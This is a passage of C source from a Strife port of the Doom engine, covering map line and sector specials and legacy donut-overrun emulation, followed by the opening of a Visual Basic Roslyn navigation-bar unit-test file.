EV_DoCeiling(line,silentCrushAndRaise);
line->special = 0;
break;
case 174:
// villsa [STRIFE] Split Open
EV_DoDoor(line, vld_splitOpen);
line->special = 0;
break;
case 183:
// villsa [STRIFE] Split Raise Nearest
EV_DoDoor(line, vld_splitRaiseNearest);
line->special = 0;
break;
case 178:
// haleyjd 09/24/10: [STRIFE] W1 Build Stairs Down 16
EV_BuildStairs(line, buildDown16);
line->special = 0;
break;
case 179:
// haleyjd 09/25/10: [STRIFE] W1 Ceiling Lower to Floor
EV_DoCeiling(line, lowerToFloor);
line->special = 0;
break;
case 182:
// haleyjd 09/21/10: [STRIFE] Break Glass
// 182 is a unique linetype in that it is both a G1 and a W1 linetype,
// but only missiles may activate it as a W1 type.
if(thing->flags & MF_MISSILE)
P_ChangeSwitchTexture(line, 1); // why 1? it will be cleared anyway.
break;
case 187:
// haleyjd 09/21/10: [STRIFE] W1 Clear Force Fields if Quest
sidedef = &sides[line->sidenum[0]];
flag = (sidedef->rowoffset >> FRACBITS) - 1; // note is fixed_t
// must have the questflag indicated in the line's y offset
if(!(thing->player->questflags & (1 << flag)))
break;
// Do it!
EV_ClearForceFields(line);
line->special = 0;
break;
case 188:
// haleyjd 09/21/10: [STRIFE] W1 Open Door if Quest 16 (Gate Mechanism
// Destroyed)
if(!(thing->player->questflags & QF_QUEST16))
break;
EV_DoDoor(line, vld_open);
line->special = 0;
break;
case 196:
// haleyjd 09/26/10: [STRIFE] W1 Floor Lower to Lowest if Sigil Type > 0
if(thing->player->sigiltype > 0)
{
EV_DoFloor(line, lowerFloorToLowest);
line->special = 0;
}
break;
case 200:
// haleyjd 09/21/10: [STRIFE] W1 Open Door if Sigil Owned
if(!(thing->player->weaponowned[wp_sigil]))
break;
EV_DoDoor(line, vld_open);
line->special = 0;
break;
case 201:
// haleyjd 09/21/10: [STRIFE] W1 Voiced Objective (First Side Only)
if(side == 1)
break;
// fall-through:
case 202:
// haleyjd 09/21/10: [STRIFE] W1 Voiced Objective (Tag = VOC/LOG #)
// must be consoleplayer
if(thing->player != &players[consoleplayer])
break;
// must have comm unit
if(!(thing->player->powers[pw_communicator]))
break;
// load voice
DEH_snprintf(crosslinestr, sizeof(crosslinestr), "voc%i", line->tag);
I_StartVoice(crosslinestr);
// load objective
DEH_snprintf(crosslinestr, sizeof(crosslinestr), "log%i", line->tag);
GiveObjective(crosslinestr, 0);
// Put up a message
thing->player->message = DEH_String("Incoming Message...");
line->special = 0;
break;
case 210:
// haleyjd 09/21/10: [STRIFE] W1 Voiced Objective if Flamethrower????
// I don't think this is actually used anywhere o_O
// must be player 1...
if(thing->player != &players[0])
break;
// must have comm unit
if(!(thing->player->powers[pw_communicator]))
break;
// must have... the flamethrower?!
if(!(thing->player->weaponowned[wp_flame]))
break;
// load voice
DEH_snprintf(crosslinestr, sizeof(crosslinestr), "voc%i", line->tag);
I_StartVoice(crosslinestr);
// load objective
DEH_snprintf(crosslinestr, sizeof(crosslinestr), "log%i", line->tag);
GiveObjective(crosslinestr, 0);
// Put up a message
thing->player->message = DEH_String("Incoming Message from BlackBird...");
line->special = 0;
break;
case 212:
// haleyjd 09/25/10: [STRIFE] W1 Floor Lower to Lowest if Have Flamethrower
if(thing->player->weaponowned[wp_flame])
{
EV_DoFloor(line, lowerFloorToLowest);
line->special = 0;
}
break;
case 215:
// haleyjd 09/21/10: [STRIFE] W1 Voiced Objective if Quest (Tag/100, Tag%100)
// must be player 1...
if(thing->player != &players[0])
break;
// must have comm unit
if(!(thing->player->powers[pw_communicator]))
break;
if(line->tag != 0)
{
// test for questflag
if(!(thing->player->questflags & (1 << (line->tag % 100 - 1))))
break;
}
// start voice
DEH_snprintf(crosslinestr, sizeof(crosslinestr), "voc%i", line->tag/100);
I_StartVoice(crosslinestr);
// give objective
DEH_snprintf(crosslinestr, sizeof(crosslinestr), "log%i", line->tag/100);
GiveObjective(crosslinestr, 0);
// Put up a message
thing->player->message = DEH_String("Incoming Message from BlackBird...");
line->special = 0;
break;
case 204:
// haleyjd 09/21/10: [STRIFE] W1 Change Music (unused!)
if(thing->player != &players[0])
break;
S_ChangeMusic(line->tag, 1);
line->special = 0;
break;
case 228:
// haleyjd 09/21/10: [STRIFE] W1 Entity Voice?
if(!(thing->player->questflags & QF_QUEST24)) // Not killed Macil???
break; // STRIFE-TODO: verify...
if(!(thing->player->questflags & QF_QUEST28)) // ????? STRIFE-TODO
I_StartVoice(DEH_String("voc128"));
else
I_StartVoice(DEH_String("voc130"));
line->special = 0;
break;
//
// RETRIGGERS. All from here till end.
//
case 72:
// Ceiling Crush - [STRIFE] Verified unmodified.
EV_DoCeiling( line, lowerAndCrush );
break;
case 73:
// Ceiling Crush and Raise - [STRIFE] Verified unmodified.
EV_DoCeiling(line,crushAndRaise);
break;
case 74:
// Ceiling Crush Stop - [STRIFE] Verified unmodified.
EV_CeilingCrushStop(line);
break;
case 75:
// Close Door - [STRIFE] Verified unmodified.
EV_DoDoor(line,vld_close);
break;
case 76:
// Close Door 30 - [STRIFE] Verified unmodified.
EV_DoDoor(line,vld_close30ThenOpen);
break;
case 77:
// Fast Ceiling Crush & Raise - [STRIFE] Verified unmodified.
EV_DoCeiling(line,fastCrushAndRaise);
break;
case 79:
// Lights Very Dark - [STRIFE] Verified unmodified.
EV_LightTurnOn(line,35);
break;
case 80:
// Light Turn On - brightest near - [STRIFE] Verified unmodified.
EV_LightTurnOn(line,0);
break;
case 81:
// Light Turn On 255 - [STRIFE] Verified unmodified.
EV_LightTurnOn(line,255);
break;
case 82:
// Lower Floor To Lowest - [STRIFE] Verified unmodified.
EV_DoFloor( line, lowerFloorToLowest );
break;
case 83:
// Lower Floor - [STRIFE] Verified unmodified.
EV_DoFloor(line,lowerFloor);
break;
case 84:
// LowerAndChange - [STRIFE] Verified unmodified.
EV_DoFloor(line,lowerAndChange);
break;
case 86:
// Open Door - [STRIFE] Verified unmodified.
EV_DoDoor(line,vld_open);
break;
case 87:
// Perpetual Platform Raise - [STRIFE] Verified unmodified.
EV_DoPlat(line,perpetualRaise,0);
break;
case 88:
// PlatDownWaitUp - [STRIFE] Verified unmodified.
EV_DoPlat(line,downWaitUpStay,0);
break;
case 89:
// Platform Stop - [STRIFE] Verified unmodified.
EV_StopPlat(line);
break;
case 216:
// haleyjd 09/21/10: [STRIFE] WR Raise Door if Quest
sidedef = &sides[line->sidenum[0]];
flag = (sidedef->rowoffset >> FRACBITS) - 1; // note is fixed_t.
if(!(thing->player->questflags & (1 << flag)))
break;
// fall-through:
case 90:
// Raise Door - [STRIFE] Verified unmodified.
EV_DoDoor(line,vld_normal);
break;
case 91:
// Raise Floor - [STRIFE] Verified unmodified.
EV_DoFloor(line,raiseFloor);
break;
case 92:
// [STRIFE] raiseFloor24 changed to raiseFloor64
// Raise Floor 64
EV_DoFloor(line,raiseFloor64);
break;
case 93:
// Raise Floor 24 And Change - [STRIFE] Verified unmodified.
EV_DoFloor(line,raiseFloor24AndChange);
break;
case 94:
// Raise Floor Crush - [STRIFE] Verified unmodified.
EV_DoFloor(line,raiseFloorCrush);
break;
case 95:
// villsa [STRIFE] Verified unmodified.
// Raise floor to nearest height
// and change texture.
EV_DoPlat(line,raiseToNearestAndChange,0);
break;
case 96:
// Raise floor to shortest texture height - [STRIFE] Verified unmodified.
// on either side of lines.
EV_DoFloor(line,raiseToTexture);
break;
case 97:
// TELEPORT! - [STRIFE] Verified unmodified (except for 0 flags param)
EV_Teleport( line, side, thing, TF_NORMAL );
break;
case 98:
// Lower Floor (TURBO) - [STRIFE] Verified unmodified.
EV_DoFloor(line,turboLower);
break;
case 105:
// Blazing Door Raise (faster than TURBO!) - [STRIFE] Verified unmodified.
EV_DoDoor (line,vld_blazeRaise);
break;
case 106:
// Blazing Door Open (faster than TURBO!) - [STRIFE] Verified unmodified.
EV_DoDoor (line,vld_blazeOpen);
break;
case 107:
// Blazing Door Close (faster than TURBO!) - [STRIFE] Verified unmodified.
EV_DoDoor (line,vld_blazeClose);
break;
case 120:
// villsa [STRIFE] Verified unmodified.
// Blazing PlatDownWaitUpStay.
EV_DoPlat(line,blazeDWUS,0);
break;
case 126:
// TELEPORT MonsterONLY. - [STRIFE] Verified unmodified (except for 0 flags param)
if (!thing->player)
EV_Teleport( line, side, thing, TF_NORMAL );
break;
case 128:
// Raise To Nearest Floor - [STRIFE] Verified unmodified.
EV_DoFloor(line,raiseFloorToNearest);
break;
case 129:
// Raise Floor Turbo - [STRIFE] Verified unmodified.
EV_DoFloor(line,raiseFloorTurbo);
break;
case 186:
// haleyjd [STRIFE] Exit Level to Spot, First Side Only
if(side == 1)
break;
// fall-through:
case 145:
// haleyjd [STRIFE] Exit Level to Spot
thing->momx = thing->momy = thing->momz = 0;
{
int map = line->tag / 100;
int spot = line->tag % 100;
if(thing->player->weaponowned[wp_sigil])
{
if(map == 3)
map = 30;
else if(map == 7)
map = 10;
}
DEH_snprintf(crosslinestr, sizeof(crosslinestr),
"Entering%s",
DEH_String(mapnames[map - 1]) + 8);
thing->player->message = crosslinestr;
if(netgame && deathmatch)
{
if(levelTimer && levelTimeCount != 0)
{
DEH_snprintf(crosslinestr, sizeof(crosslinestr),
"%d min left",
(levelTimeCount/TICRATE)/60);
break;
}
// raise switch from floor
EV_DoFloor(line, raiseFloor64);
}
else
{
// normal single-player exit
// BUG: Here is the opening for a flaming player to cross past
// the exit line and hit a deathmatch switch ;) It's not so much
// that this is incorrect, as that they forgot to add such a
// check to the other kind of exit lines too ;)
if(thing->player->health <= 0)
break;
G_RiftExitLevel(map, spot, thing->angle);
}
}
break;
case 175:
// haleyjd 09/21/10: [STRIFE] WR Raise Alarm if < 16 Above Floor
if(thing->z < thing->floorz + 16 * FRACUNIT)
P_NoiseAlert(thing->player->mo, thing->player->mo);
break;
case 198:
// haleyjd 09/21/10: [STRIFE] WR Raise Alarm if No Guard Uniform
if(P_PlayerHasItem(thing->player, MT_QUEST_GUARD_UNIFORM))
break;
// fall-through:
case 150:
// haleyjd 09/21/10: [STRIFE] WR Raise Alarm
P_NoiseAlert(thing->player->mo, thing->player->mo);
break;
case 208:
// haleyjd 09/21/10: [STRIFE] WR Raise Alarm if Have Flamethrower
// O_o - this is definitely unused. Was an entire flamethrower quest
// cut out of the game before release?
if(thing->player->weaponowned[wp_flame])
P_NoiseAlert(thing->player->mo, thing->player->mo);
break;
case 206:
// haleyjd 09/21/10: [STRIFE] WR Raise Alarm if Have Chalice
// This *is* used, inside the Tavern in Tarnhill. Oddly there is also
// one just randomly placed outside the entrance to the Power Station.
if(P_PlayerHasItem(thing->player, MT_INV_CHALICE))
P_NoiseAlert(thing->player->mo, thing->player->mo);
break;
case 184:
// villsa [STRIFE] plat up wait down stay
if(EV_DoPlat(line, upWaitDownStay, 0))
P_ChangeSwitchTexture(line, 1); // In P_CrossSpecialLine? Copypasta error?
break;
case 185:
// haleyjd 09/21/10: [STRIFE] Silent Teleport (used for Converter)
EV_Teleport(line, side, thing, TF_FULLSILENCE);
break;
case 195:
// haleyjd 09/21/10: [STRIFE] Silent Teleport and Change Zombie
EV_Teleport(line, side, thing, TF_FULLSILENCE);
P_SetMobjState(thing, S_AGRD_00); // 419
break;
case 203:
// haleyjd 09/21/10: [STRIFE] WR Change Music
if(thing->player != &players[0])
break;
S_ChangeMusic(line->tag, 1);
break;
case 231:
// haleyjd 09/21/10: [STRIFE] WR Teleport (Silent at Source)
EV_Teleport(line, side, thing, TF_SRCSILENCE);
break;
// haleyjd 09/21/10: Moved one-time-use lines up above with the others.
}
}
//
// P_ShootSpecialLine - IMPACT SPECIALS
// Called when a thing shoots a special line.
//
void
P_ShootSpecialLine
( mobj_t* thing,
line_t* line )
{
int ok;
// Impacts that other things can activate.
if (!thing->player)
{
ok = 0;
switch(line->special)
{
case 46: // OPEN DOOR IMPACT
case 182: // villsa [STRIFE] for windows
ok = 1;
break;
}
if (!ok)
return;
}
switch(line->special)
{
case 24:
// RAISE FLOOR - [STRIFE] Verified unmodified
EV_DoFloor(line,raiseFloor);
P_ChangeSwitchTexture(line,0);
break;
case 46:
// OPEN DOOR - [STRIFE] Verified unmodified.
EV_DoDoor(line,vld_open);
P_ChangeSwitchTexture(line,1);
break;
case 47:
// villsa [STRIFE] Verified unmodified.
// RAISE FLOOR NEAR AND CHANGE
EV_DoPlat(line,raiseToNearestAndChange,0);
P_ChangeSwitchTexture(line,0);
break;
case 180:
// haleyjd 09/22/10: [STRIFE] G1 Raise Floor 512 & Change
EV_DoFloor(line, raiseFloor512AndChange);
P_ChangeSwitchTexture(line, 0);
break;
case 182:
// villsa [STRIFE] G1 Break Glass
// haleyjd: note that 182 is also a W1 type in P_CrossSpecialLine, but
// can only be activated in that manner by an MF_MISSILE object.
P_ChangeSwitchTexture(line, 0);
break;
}
}
//
// P_PlayerInSpecialSector
// Called every tic frame
// that the player origin is in a special sector
//
// [STRIFE] Modified for new sector types and changes to old ones.
//
void P_PlayerInSpecialSector (player_t* player)
{
sector_t* sector;
sector = player->mo->subsector->sector;
// Falling, not all the way down yet?
if (player->mo->z != sector->floorheight)
return;
// Has hitten ground.
switch (sector->special)
{
case 5:
// HELLSLIME DAMAGE
// [STRIFE] +2 to nukagecount
if(!player->powers[pw_ironfeet])
player->nukagecount += 2;
break;
case 16:
// [STRIFE] +4 to nukagecount
if(!player->powers[pw_ironfeet])
player->nukagecount += 4;
break;
case 4:
case 7:
// [STRIFE] Immediate 5 damage every 31 tics
if(!player->powers[pw_ironfeet])
if(!(leveltime & 0x1f))
P_DamageMobj(player->mo, NULL, NULL, 5);
break;
case 9:
// SECRET SECTOR
//player->secretcount++; [STRIFE] Don't have a secret count.
sector->special = 0;
if(player - players == consoleplayer)
S_StartSound(NULL, sfx_yeah);
break;
case 11:
// EXIT SUPER DAMAGE! (for E1M8 finale)
player->cheats &= ~CF_GODMODE;
if (!(leveltime&0x1f))
P_DamageMobj (player->mo, NULL, NULL, 20);
if (player->health <= 10)
G_ExitLevel(0);
break;
case 15:
// haleyjd 08/30/10: [STRIFE] "Instant" Death sector
P_DamageMobj(player->mo, NULL, NULL, 999);
break;
case 18:
// haleyjd 08/30/10: [STRIFE] Water current
{
int tagval = sector->tag - 100;
fixed_t force;
angle_t angle;
if(player->cheats & CF_NOCLIP)
return;
force = (tagval % 10) << 12;
angle = (tagval / 10) << 29;
P_Thrust(player, angle, force);
}
break;
default:
I_Error ("P_PlayerInSpecialSector: "
"unknown special %i",
sector->special);
break;
};
}
//
// P_UpdateSpecials
// Animate planes, scroll walls, etc.
//
// [STRIFE] Modifications to support multiple scrolling line types.
//
boolean levelTimer;
int levelTimeCount;
void P_UpdateSpecials (void)
{
anim_t* anim;
int pic;
int i;
line_t* line;
// LEVEL TIMER
if (levelTimer == true)
{
if(levelTimeCount) // [STRIFE] Does not allow to go negative
levelTimeCount--;
/*
// [STRIFE] Not done here. Exit lines check this manually instead.
if (!levelTimeCount)
G_ExitLevel(0);
*/
}
// ANIMATE FLATS AND TEXTURES GLOBALLY
for (anim = anims ; anim < lastanim ; anim++)
{
for (i=anim->basepic ; i<anim->basepic+anim->numpics ; i++)
{
pic = anim->basepic + ( (leveltime/anim->speed + i)%anim->numpics );
if (anim->istexture)
texturetranslation[i] = pic;
else
flattranslation[i] = pic;
}
}
// ANIMATE LINE SPECIALS
for (i = 0; i < numlinespecials; i++)
{
line = linespeciallist[i];
switch(line->special)
{
case 48:
// EFFECT FIRSTCOL SCROLL +
sides[line->sidenum[0]].textureoffset += FRACUNIT;
break;
case 142:
// haleyjd 09/25/10 [STRIFE] Scroll Up Slow
sides[line->sidenum[0]].rowoffset += FRACUNIT;
break;
case 143:
// haleyjd 09/25/10 [STRIFE] Scroll Down Fast (3 Units/Tic)
sides[line->sidenum[0]].rowoffset -= 3*FRACUNIT;
break;
case 149:
// haleyjd 09/25/10 [STRIFE] Scroll Down Slow
sides[line->sidenum[0]].rowoffset -= FRACUNIT;
break;
}
}
// DO BUTTONS
for (i = 0; i < MAXBUTTONS; i++)
if (buttonlist[i].btimer)
{
buttonlist[i].btimer--;
if (!buttonlist[i].btimer)
{
switch(buttonlist[i].where)
{
case top:
sides[buttonlist[i].line->sidenum[0]].toptexture =
buttonlist[i].btexture;
break;
case middle:
sides[buttonlist[i].line->sidenum[0]].midtexture =
buttonlist[i].btexture;
break;
case bottom:
sides[buttonlist[i].line->sidenum[0]].bottomtexture =
buttonlist[i].btexture;
break;
}
S_StartSound(&buttonlist[i].soundorg,sfx_swtchn);
memset(&buttonlist[i],0,sizeof(button_t));
}
}
}
//
// Donut overrun emulation
//
// Derived from the code from PrBoom+. Thanks go to Andrey Budko (entryway)
// as usual :-)
//
#define DONUT_FLOORHEIGHT_DEFAULT 0x00000000
#define DONUT_FLOORPIC_DEFAULT 0x16
static void DonutOverrun(fixed_t *s3_floorheight, short *s3_floorpic,
line_t *line, sector_t *pillar_sector)
{
static int first = 1;
static int tmp_s3_floorheight;
static int tmp_s3_floorpic;
extern int numflats;
if (first)
{
int p;
// This is the first time we have had an overrun.
first = 0;
// Default values
tmp_s3_floorheight = DONUT_FLOORHEIGHT_DEFAULT;
tmp_s3_floorpic = DONUT_FLOORPIC_DEFAULT;
//!
// @category compat
// @arg <x> <y>
//
// Use the specified magic values when emulating behavior caused
// by memory overruns from improperly constructed donuts.
// In Vanilla Strife this can differ depending on the operating
// system. The default (if this option is not specified) is to
// emulate the behavior when running under Windows 98.
p = M_CheckParmWithArgs("-donut", 2);
if (p > 0)
{
// Dump of needed memory: (fixed_t)0000:0000 and (short)0000:0008
//
// C:\>debug
// -d 0:0
//
// DOS 6.22:
// 0000:0000 (57 92 19 00) F4 06 70 00-(16 00)
// DOS 7.1:
// 0000:0000 (9E 0F C9 00) 65 04 70 00-(16 00)
// Win98:
// 0000:0000 (00 00 00 00) 65 04 70 00-(16 00)
// DOSBox under XP:
// 0000:0000 (00 00 00 F1) ?? ?? ?? 00-(07 00)
M_StrToInt(myargv[p + 1], &tmp_s3_floorheight);
M_StrToInt(myargv[p + 2], &tmp_s3_floorpic);
if (tmp_s3_floorpic >= numflats)
{
fprintf(stderr,
"DonutOverrun: The second parameter for \"-donut\" "
"switch should be greater than 0 and less than number "
"of flats (%d). Using default value (%d) instead. \n",
numflats, DONUT_FLOORPIC_DEFAULT);
tmp_s3_floorpic = DONUT_FLOORPIC_DEFAULT;
}
}
}
/*
fprintf(stderr,
"Linedef: %d; Sector: %d; "
"New floor height: %d; New floor pic: %d\n",
line->iLineID, pillar_sector->iSectorID,
tmp_s3_floorheight >> 16, tmp_s3_floorpic);
*/
*s3_floorheight = (fixed_t) tmp_s3_floorheight;
*s3_floorpic = (short) tmp_s3_floorpic;
}
//
// Special Stuff that can not be categorized
//
int EV_DoDonut(line_t* line)
{
sector_t* s1;
sector_t* s2;
sector_t* s3;
int secnum;
int rtn;
int i;
floormove_t* floor;
fixed_t s3_floorheight;
short s3_floorpic;
secnum = -1;
rtn = 0;
while ((secnum = P_FindSectorFromLineTag(line,secnum)) >= 0)
{
s1 = §ors[secnum];
// ALREADY MOVING? IF SO, KEEP GOING...
if (s1->specialdata)
continue;
rtn = 1;
s2 = getNextSector(s1->lines[0],s1);
// Vanilla Doom does not check if the linedef is one sided. The
// game does not crash, but reads invalid memory and causes the
// sector floor to move "down" to some unknown height.
// DOSbox prints a warning about an invalid memory access.
//
// I'm not sure exactly what invalid memory is being read. This
// isn't something that should be done, anyway.
// Just print a warning and return.
if (s2 == NULL)
{
fprintf(stderr,
"EV_DoDonut: linedef had no second sidedef! "
"Unexpected behavior may occur in Vanilla Doom. \n");
break;
}
for (i = 0; i < s2->linecount; i++)
{
s3 = s2->lines[i]->backsector;
if (s3 == s1)
continue;
if (s3 == NULL)
{
// e6y
// s3 is NULL, so
// s3->floorheight is an int at 0000:0000
// s3->floorpic is a short at 0000:0008
// Trying to emulate
fprintf(stderr,
"EV_DoDonut: WARNING: emulating buffer overrun due to "
"NULL back sector. "
"Unexpected behavior may occur in Vanilla Doom.\n");
DonutOverrun(&s3_floorheight, &s3_floorpic, line, s1);
}
else
{
s3_floorheight = s3->floorheight;
s3_floorpic = s3->floorpic;
}
// Spawn rising slime
floor = Z_Malloc (sizeof(*floor), PU_LEVSPEC, 0);
P_AddThinker (&floor->thinker);
s2->specialdata = floor;
floor->thinker.function.acp1 = (actionf_p1) T_MoveFloor;
floor->type = donutRaise;
floor->crush = false;
floor->direction = 1;
floor->sector = s2;
floor->speed = FLOORSPEED / 2;
floor->texture = s3_floorpic;
floor->newspecial = 0;
floor->floordestheight = s3_floorheight;
// Spawn lowering donut-hole
floor = Z_Malloc (sizeof(*floor), PU_LEVSPEC, 0);
P_AddThinker (&floor->thinker);
s1->specialdata = floor;
floor->thinker.function.acp1 = (actionf_p1) T_MoveFloor;
floor->type = lowerFloor;
floor->crush = false;
floor->direction = -1;
floor->sector = s1;
floor->speed = FLOORSPEED / 2;
floor->floordestheight = s3_floorheight;
break;
}
}
return rtn;
}
//
// SPECIAL SPAWNING
//
//
// P_SpawnSpecials
// After the map has been loaded, scan for specials
// that spawn thinkers
//
short numlinespecials;
line_t* linespeciallist[MAXLINEANIMS];
// Parses command line parameters.
//
// haleyjd 09/25/10: [STRIFE] Modifications for more scrolling line types and
// for initialization of sliding door resources.
//
void P_SpawnSpecials (void)
{
sector_t* sector;
int i;
// See if -TIMER was specified.
if (timelimit > 0 && deathmatch)
{
levelTimer = true;
levelTimeCount = timelimit * 60 * TICRATE;
}
else
{
levelTimer = false;
}
// Init special SECTORs - [STRIFE] Verified unmodified.
sector = sectors;
for (i=0 ; i<numsectors ; i++, sector++)
{
if (!sector->special)
continue;
switch (sector->special)
{
case 1:
// FLICKERING LIGHTS
P_SpawnLightFlash (sector);
break;
case 2:
// STROBE FAST
P_SpawnStrobeFlash(sector,FASTDARK,0);
break;
case 3:
// STROBE SLOW
P_SpawnStrobeFlash(sector,SLOWDARK,0);
break;
case 4:
// STROBE FAST/DEATH SLIME
P_SpawnStrobeFlash(sector,FASTDARK,0);
sector->special = 4;
break;
case 8:
// GLOWING LIGHT
P_SpawnGlowingLight(sector);
break;
case 9:
// SECRET SECTOR
totalsecret++;
break;
case 10:
// DOOR CLOSE IN 30 SECONDS
P_SpawnDoorCloseIn30 (sector);
break;
case 12:
// SYNC STROBE SLOW
P_SpawnStrobeFlash (sector, SLOWDARK, 1);
break;
case 13:
// SYNC STROBE FAST
P_SpawnStrobeFlash (sector, FASTDARK, 1);
break;
case 14:
// DOOR RAISE IN 5 MINUTES
P_SpawnDoorRaiseIn5Mins (sector, i);
break;
case 17:
P_SpawnFireFlicker(sector);
break;
}
}
// Init line EFFECTs
numlinespecials = 0;
for (i = 0;i < numlines; i++)
{
switch(lines[i].special)
{
case 48: // EFFECT FIRSTCOL SCROLL+
case 142:
case 143:
case 149:
linespeciallist[numlinespecials] = &lines[i];
numlinespecials++;
break;
}
}
// Init other misc stuff
for (i = 0;i < MAXCEILINGS;i++)
activeceilings[i] = NULL;
for (i = 0;i < MAXPLATS;i++)
activeplats[i] = NULL;
for (i = 0;i < MAXBUTTONS;i++)
memset(&buttonlist[i],0,sizeof(button_t));
// villsa [STRIFE]
P_InitSlidingDoorFrames();
}
| {
"pile_set_name": "Github"
} |
' Copyright (c) Microsoft. All Rights Reserved. Licensed under the Apache License, Version 2.0. See License.txt in the project root for license information.
Imports System.Xml.Linq
Imports Microsoft.CodeAnalysis
Imports Microsoft.CodeAnalysis.Shared.TestHooks
Imports Microsoft.CodeAnalysis.Editor.UnitTests.Workspaces
Imports Microsoft.CodeAnalysis.Text
Imports Roslyn.Test.Utilities
Imports Roslyn.Utilities
Namespace Microsoft.CodeAnalysis.Editor.UnitTests.NavigationBar
Partial Public Class VisualBasicNavigationBarTests
<Fact, Trait(Traits.Feature, Traits.Features.NavigationBar), WorkItem(545000)>
Public Sub EventsInInterfaces()
AssertItemsAre(
<Workspace>
<Project Language="Visual Basic" CommonReferences="true">
<Document>
Interface I
Event Foo As EventHandler
End Interface
</Document>
</Project>
</Workspace>,
Item("I", Glyph.InterfaceInternal, bolded:=True, children:={
Item("Foo", Glyph.EventPublic, bolded:=True)}))
End Sub
<Fact, Trait(Traits.Feature, Traits.Features.NavigationBar), WorkItem(544996)>
Public Sub EmptyStructure()
AssertItemsAre(
<Workspace>
<Project Language="Visual Basic" CommonReferences="true">
<Document>
Structure S
End Structure
</Document>
</Project>
</Workspace>,
Item("S", Glyph.StructureInternal, bolded:=True, children:={}))
End Sub
<Fact, Trait(Traits.Feature, Traits.Features.NavigationBar), WorkItem(544996)>
Public Sub EmptyInterface()
AssertItemsAre(
<Workspace>
<Project Language="Visual Basic" CommonReferences="true">
<Document>
Interface I
End Interface
</Document>
</Project>
</Workspace>,
Item("I", Glyph.InterfaceInternal, bolded:=True, children:={}))
End Sub
<Fact, Trait(Traits.Feature, Traits.Features.NavigationBar), WorkItem(797455)>
Public Sub UserDefinedOperators()
AssertItemsAre(
<Workspace>
<Project Language="Visual Basic" CommonReferences="true">
<Document>
Class C
Shared Operator -(x As C, y As C) As C
End Operator
Shared Operator +(x As C, y As C) As C
End Operator
Shared Operator +(x As C, y As Integer) As C
End Operator
End Class
</Document>
</Project>
</Workspace>,
Item("C", Glyph.ClassInternal, bolded:=True, children:={
Item("New", Glyph.MethodPublic, bolded:=False, hasNavigationSymbolId:=False),
Item("Finalize", Glyph.MethodProtected, bolded:=False, hasNavigationSymbolId:=False),
Item("Operator +(C, C) As C", Glyph.Operator, bolded:=True),
Item("Operator +(C, Integer) As C", Glyph.Operator, bolded:=True),
Item("Operator -", Glyph.Operator, bolded:=True)}))
End Sub
<Fact, Trait(Traits.Feature, Traits.Features.NavigationBar), WorkItem(797455)>
Public Sub SingleConversion()
AssertItemsAre(
<Workspace>
<Project Language="Visual Basic" CommonReferences="true">
<Document>
Class C
Shared Narrowing Operator CType(x As C) As Integer
End Operator
End Class
</Document>
</Project>
</Workspace>,
Item("C", Glyph.ClassInternal, bolded:=True, children:={
Item("New", Glyph.MethodPublic, bolded:=False, hasNavigationSymbolId:=False),
Item("Finalize", Glyph.MethodProtected, bolded:=False, hasNavigationSymbolId:=False),
Item("Narrowing Operator CType", Glyph.Operator, bolded:=True)}))
End Sub
<Fact, Trait(Traits.Feature, Traits.Features.NavigationBar), WorkItem(797455)>
Public Sub MultipleConversions()
AssertItemsAre(
<Workspace>
<Project Language="Visual Basic" CommonReferences="true">
<Document>
Class C
Shared Narrowing Operator CType(x As C) As Integer
End Operator
Shared Narrowing Operator CType(x As C) As String
End Operator
End Class
</Document>
</Project>
</Workspace>,
Item("C", Glyph.ClassInternal, bolded:=True, children:={
Item("New", Glyph.MethodPublic, bolded:=False, hasNavigationSymbolId:=False),
Item("Finalize", Glyph.MethodProtected, bolded:=False, hasNavigationSymbolId:=False),
Item("Narrowing Operator CType(C) As Integer", Glyph.Operator, bolded:=True),
Item("Narrowing Operator CType(C) As String", Glyph.Operator, bolded:=True)}))
End Sub
<Fact, Trait(Traits.Feature, Traits.Features.NavigationBar), WorkItem(544993)>
Public Sub NestedClass()
AssertItemsAre(
<Workspace>
<Project Language="Visual Basic" CommonReferences="true">
<Document>
Namespace N
Class C
Class Nested
End Class
End Class
End Namespace
</Document>
</Project>
</Workspace>,
Item("C", Glyph.ClassInternal, bolded:=True),
Item("Nested (N.C)", Glyph.ClassPublic, bolded:=True))
End Sub
<Fact, Trait(Traits.Feature, Traits.Features.NavigationBar), WorkItem(544997)>
Public Sub [Delegate]()
AssertItemsAre(
<Workspace>
<Project Language="Visual Basic" CommonReferences="true">
<Document>
Delegate Sub Foo()
</Document>
</Project>
</Workspace>,
Item("Foo", Glyph.DelegateInternal, children:={}, bolded:=True))
End Sub
<Fact, Trait(Traits.Feature, Traits.Features.NavigationBar), WorkItem(544995), WorkItem(545283)>
Public Sub GenericType()
AssertItemsAre(
<Workspace>
<Project Language="Visual Basic" CommonReferences="true">
<Document>
Interface C(Of In T)
End Interface
</Document>
</Project>
</Workspace>,
Item("C(Of In T)", Glyph.InterfaceInternal, bolded:=True))
End Sub
<Fact, Trait(Traits.Feature, Traits.Features.NavigationBar), WorkItem(545113)>
Public Sub MethodGroupWithGenericMethod()
AssertItemsAre(
<Workspace>
<Project Language="Visual Basic" CommonReferences="true">
<Document>
Class C
Sub S()
End Sub
Sub S(Of T)()
End Sub
End Class
</Document>
</Project>
</Workspace>,
Item("C", Glyph.ClassInternal, bolded:=True, children:={
Item("New", Glyph.MethodPublic, bolded:=False, hasNavigationSymbolId:=False),
Item("Finalize", Glyph.MethodProtected, bolded:=False, hasNavigationSymbolId:=False),
Item("S()", Glyph.MethodPublic, bolded:=True),
Item("S(Of T)()", Glyph.MethodPublic, bolded:=True)}))
End Sub
<Fact, Trait(Traits.Feature, Traits.Features.NavigationBar), WorkItem(545113)>
Public Sub SingleGenericMethod()
AssertItemsAre(
<Workspace>
<Project Language="Visual Basic" CommonReferences="true">
<Document>
Class C
Sub S(Of T)()
End Sub
End Class
</Document>
</Project>
</Workspace>,
Item("C", Glyph.ClassInternal, bolded:=True, children:={
Item("New", Glyph.MethodPublic, bolded:=False, hasNavigationSymbolId:=False),
Item("Finalize", Glyph.MethodProtected, bolded:=False, hasNavigationSymbolId:=False),
Item("S(Of T)()", Glyph.MethodPublic, bolded:=True)}))
End Sub
<Fact, Trait(Traits.Feature, Traits.Features.NavigationBar), WorkItem(545285)>
Public Sub SingleGenericFunction()
AssertItemsAre(
<Workspace>
<Project Language="Visual Basic" CommonReferences="true">
<Document>
Class C
Function S(Of T)() As Integer
End Sub
End Class
</Document>
</Project>
</Workspace>,
Item("C", Glyph.ClassInternal, bolded:=True, children:={
